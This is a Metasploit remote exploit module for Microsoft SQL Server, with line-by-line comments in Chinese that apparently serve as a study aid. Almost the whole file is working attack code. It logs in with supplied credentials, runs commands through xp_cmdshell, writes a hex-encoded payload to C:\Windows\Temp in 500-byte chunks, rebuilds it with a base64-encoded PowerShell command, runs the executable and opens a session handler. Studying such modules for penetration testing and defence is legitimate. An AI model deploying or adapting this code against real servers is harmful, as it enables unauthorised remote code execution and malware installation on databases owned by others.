##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core' # 引用 core 核心库

class MetasploitModule < Msf::Exploit::Remote # 定义这是一个远程攻击模块
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::MSSQL # 包含 lib/msf/core/exploit/mssql.rb 库

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft SQL Server Powershell payload ',
      # %q 单引号字符串
      'Description'    => %q{
          This module will deliver our payload through Microsoft PowerShell using MSSQL based attack vectors.
      },
      'Author'         =>
        [
          'AnonySec',
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => 'win', # 仅支持windows平台
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      'DefaultTarget'  => 0,
      ))
    # 基本选项
    register_options(
      [
        OptBool.new('UsePowerShell', [ true, "Use Powershell as payload delivery method instead",true ])
        # Boolean 布尔选项类型 https://rapid7.github.io/metasploit-framework/api/Msf/OptBool.html
        # Required (参数是否为必填项) “false”
        # Current Setting (当前的设置) “true” 即默认使用 PowerShell
      ])
  end

  # 检查目标是否存在漏洞可被利用
  def check
    if !mssql_login_datastore
      vprint_status("Invalid SQL Server credentials")
      return Exploit::CheckCode::Detected
    end

    # 查询mssql版本
    mssql_query("select @@version", true)
    if mssql_is_sysadmin
      vprint_good "User #{datastore['USERNAME']} is a sysadmin"
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  ensure
    disconnect
  end

  # 启用xpcmdshell
  def run
    mssql_xpcmdshell(datastore['CMD'], true) if mssql_login_datastore
  end

  # exe是从下面 “Msf::Util::EXE.to_win32pe(framework,payload.encoded)” 发过来的二进制文件，调试状态下debug=true
  def upload_powershell_exec(exe, debug=false)
    # 十六进制转换，“H:打开二进制格式的文件，以十六进制转换“
    hex = exe.unpack("H*")[0]
    # 创建随机8位字母的文件名
    var_payload = rand_text_alpha(8)
    # payload保留在目标系统 C:\Windows\\Temp\ 目录下
    print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server C:\\Windows\\Temp\\ directory")
    # 通过powershell创建一个从十六进制至二进制的转换：$s变量中的 `r 与 `n 替换空字符，去除回车换行符，由于MSSQL存在一个字符长度限制，需要将十六进制的payload分成500字节分块，payload被分到多个请求中，传到目标系统中就会被添加回车换行符。如不去除，生成的二进制文件将损坏，就不能执行；通过 [Convert]::ToByte 让powershell将十六进制的文件写入到 #{var_payload}.exe 二进制程序中
    h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"
    # 将h2b字符串转换为Unicode编码
    h2b_unicode=Rex::Text.to_unicode(h2b)
    # 将Unicode字符串进行base64编码
    h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
    # 输出状态，正在上传payload
    print_status("Uploading the payload #{var_payload}, please be patient...")
    # 基础计数器idx最初位置为0，标识文件末尾
    idx = 0
    # 每次发送十六进制文件到操作系统时递增cnt 500字节。简单说：读取500字节，发送，再读取，再发送，知道读到文件末尾
    cnt = 500
    while(idx < hex.length - 1)
      mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>C:\\Windows\\Temp\\#{var_payload}", false)
      idx += cnt
    end
    # 利用PowerShell EncodedCommand命令转换payload，之后执行，最后输出相关状态
    print_status("Converting the payload utilizing PowerShell EncodedCommand...")
    mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
    mssql_xpcmdshell("cmd.exe /c del C:\\Windows\\Temp\\#{var_payload}", debug)
    print_status("Executing the payload...")
    mssql_xpcmdshell("C:\\Windows\\Temp\\#{var_payload}.exe", false, {:timeout => 1})
    print_status("Be sure to cleanup #{var_payload}.exe...")
  end

  # 攻击模块的主体代码使用
  def exploit
    # 检查是否已经正常登陆
    if !mssql_login_datastore
      # 口令错误无法登陆输出该状态 “[*] xx.xx.xx.xx:1433 - Invalid SQL Server credentials”
      print_status("Invalid SQL Server credentials")
      return
    end
    # UsePowerShell 方法调用 upload_powershell_exec 函数
    if (datastore['UsePowerShell'])
      # Msf::Util::EXE.to_win32pe(framework,payload,encoded) 自动产生一个可用的二进制payload 
      # https://rapid7.github.io/metasploit-framework/api/Msf/Util/EXE.html#to_win32pe-class_method
      upload_powershell_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded))
    end

    # 处理与目标系统间的连接
    handler
    disconnect

  end
end
